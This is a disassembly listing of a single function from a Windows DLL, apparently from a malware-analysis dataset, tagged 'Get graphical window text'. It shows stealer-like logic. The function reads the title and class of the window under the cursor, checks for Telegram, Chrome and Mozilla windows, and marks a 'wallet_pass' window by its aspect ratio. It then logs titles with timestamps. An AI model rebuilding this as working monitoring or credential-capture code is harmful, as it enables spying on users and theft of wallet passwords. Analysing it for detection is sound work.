Function at 0x180005e70
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rdi
push rbp
lea rbp, [rsp - 0x5b0]
sub rsp, 0x6b0
mov rax, qword [0x18003a020]
xor rax, rsp
mov qword [rbp + 0x5a0], rax
lea rcx, [0x18003f1f0]
xor edx, edx
mov r8d, 0x400
call fcn.1800157e0
lea rcx, [rsp + 0x50]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.USER32.dll_WindowFromPoint]
mov rdi, rax
mov qword [0x18003f5f0], rax
test rax, rax
je 0x18000622b
lea rcx, [rbp - 0x7f]
xor edx, edx
mov r8d, 0x103
mov byte [rbp - 0x80], 0
call fcn.1800157e0
lea rcx, [rbp + 0x91]
xor edx, edx
mov r8d, 0x103
mov byte [rbp + 0x90], 0
call fcn.1800157e0
lea rdx, [rbp - 0x80]
mov r8d, 0x104
mov rcx, rdi
call qword [sym.imp.USER32.dll_GetWindowTextA]
mov rcx, qword [0x18003f5f0]
lea rdx, [rbp + 0x90]
mov r8d, 0x104
call qword [sym.imp.USER32.dll_GetClassNameA]
lea rcx, [rbp + 0x1a1]
xor edx, edx
mov r8d, 0x3ff
mov byte [rbp + 0x1a0], 0
call fcn.1800157e0
mov rdx, qword [rbp - 0x80]
cmp rdx, qword [str.Telegram]
jne 0x18000603e
lea rdx, str.Qt51510QWindowIcon
lea rcx, [rbp + 0x90]
call fcn.18001169c
test eax, eax
jne 0x18000603e
mov rax, qword [0x18003f0d8]
cmp qword [0x18003f5f0], rax
je 0x180006037
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rbp - 0x80]
repne scasb al, byte [rdi]
lea rdx, [rbp - 0x80]
not rcx
lea r8, [rcx - 1]
lea rcx, [0x18003f1f0]
call fcn.180010fe0
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx edx, word [rsp + 0x64]
movzx eax, word [rsp + 0x62]
movzx ecx, word [rsp + 0x60]
movzx edi, word [rsp + 0x5e]
movzx r10d, word [rsp + 0x5a]
mov dword [rsp + 0x40], edx
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], r10d
lea rdx, [0x180032a50]
movzx r9d, word [rsp + 0x58]
lea r8, [0x18003f1f0]
lea rcx, [rbp + 0x1a0]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rcx, [rbp + 0x1a0]
call fcn.180005dc0
lea rcx, [0x18003f1f0]
xor edx, edx
mov r8d, 0x400
call fcn.1800157e0
mov rdx, qword [0x18003f5f0]
mov qword [0x18003f0d8], rdx
xor eax, eax
jmp 0x18000622e
lea rdx, [rbp - 0x80]
lea rcx, str.Chrome_Legacy_Window
call fcn.18001169c
test eax, eax
jne 0x180006069
lea rdx, [rbp + 0x90]
lea rcx, str.Chrome_RenderWidgetHostHWND
call fcn.18001169c
test eax, eax
je 0x18000609c
lea rdx, [rbp + 0x90]
lea rcx, str.MozillaDropShadowWindowClass
call fcn.18001169c
test eax, eax
jne 0x180006178
lea rdx, [rbp - 0x80]
lea rcx, [0x18003272b]
call fcn.18001169c
test eax, eax
jne 0x180006178
mov rcx, qword [0x18003f5f0]
lea rdx, [rsp + 0x68]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov eax, dword [rsp + 0x70]
sub eax, dword [rsp + 0x68]
pxor xmm1, xmm1
pxor xmm0, xmm0
cvtsi2sd xmm1, rax
mov eax, dword [rsp + 0x74]
sub eax, dword [rsp + 0x6c]
cvtsi2sd xmm0, rax
divsd xmm1, xmm0
mulsd xmm1, qword [0x180032f58]
cvttsd2si rax, xmm1
cmp eax, 0x3b
je 0x1800060ef
cmp eax, 0x3c
jne 0x18000621d
mov rax, qword [0x18003f0d8]
cmp qword [0x18003f5f0], rax
jne 0x180006109
mov eax, 1
jmp 0x18000622e
mov rax, qword [str.wallet_pass]
lea rcx, [rsp + 0x58]
mov qword [0x18003f1f0], rax
movzx eax, word [0x180032b10]
mov word [0x18003f1f8], ax
movzx eax, byte [reloc.WS2_32.dll_WSAStartup]
mov byte [0x18003f1fa], al
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx edx, word [rsp + 0x64]
movzx eax, word [rsp + 0x62]
movzx ecx, word [rsp + 0x60]
movzx edi, word [rsp + 0x5e]
movzx r8d, word [rsp + 0x5a]
mov dword [rsp + 0x40], edx
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x28], edi
lea rdx, str._r_n____________________________________________r_n_
mov dword [rsp + 0x20], r8d
jmp 0x180005fef
lea rdx, [rbp - 0x80]
lea rcx, [0x180032b78]
call fcn.18001169c
test eax, eax
jne 0x18000621d
lea rdx, [rbp + 0x90]
lea rcx, str.32770
call fcn.18001169c
test eax, eax
jne 0x18000621d
mov rax, qword [0x18003f0d8]
cmp qword [0x18003f5f0], rax
je 0x180006037
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rbp - 0x80]
repne scasb al, byte [rdi]
lea rdx, [rbp - 0x80]
not rcx
lea r8, [rcx - 1]
lea rcx, [0x18003f1f0]
call fcn.180010fe0
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx edx, word [rsp + 0x64]
movzx eax, word [rsp + 0x62]
movzx ecx, word [rsp + 0x60]
movzx edi, word [rsp + 0x5e]
movzx r8d, word [rsp + 0x5a]
mov dword [rsp + 0x40], edx
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], r8d
jmp 0x180005fe8
mov rax, qword [0x18003f5f0]
mov qword [0x18003f0d8], rax
or eax, 0xffffffff
mov rcx, qword [rbp + 0x5a0]
xor rcx, rsp
call fcn.180010fa0
mov rdi, qword [rsp + 0x6c0]
add rsp, 0x6b0
pop rbp
ret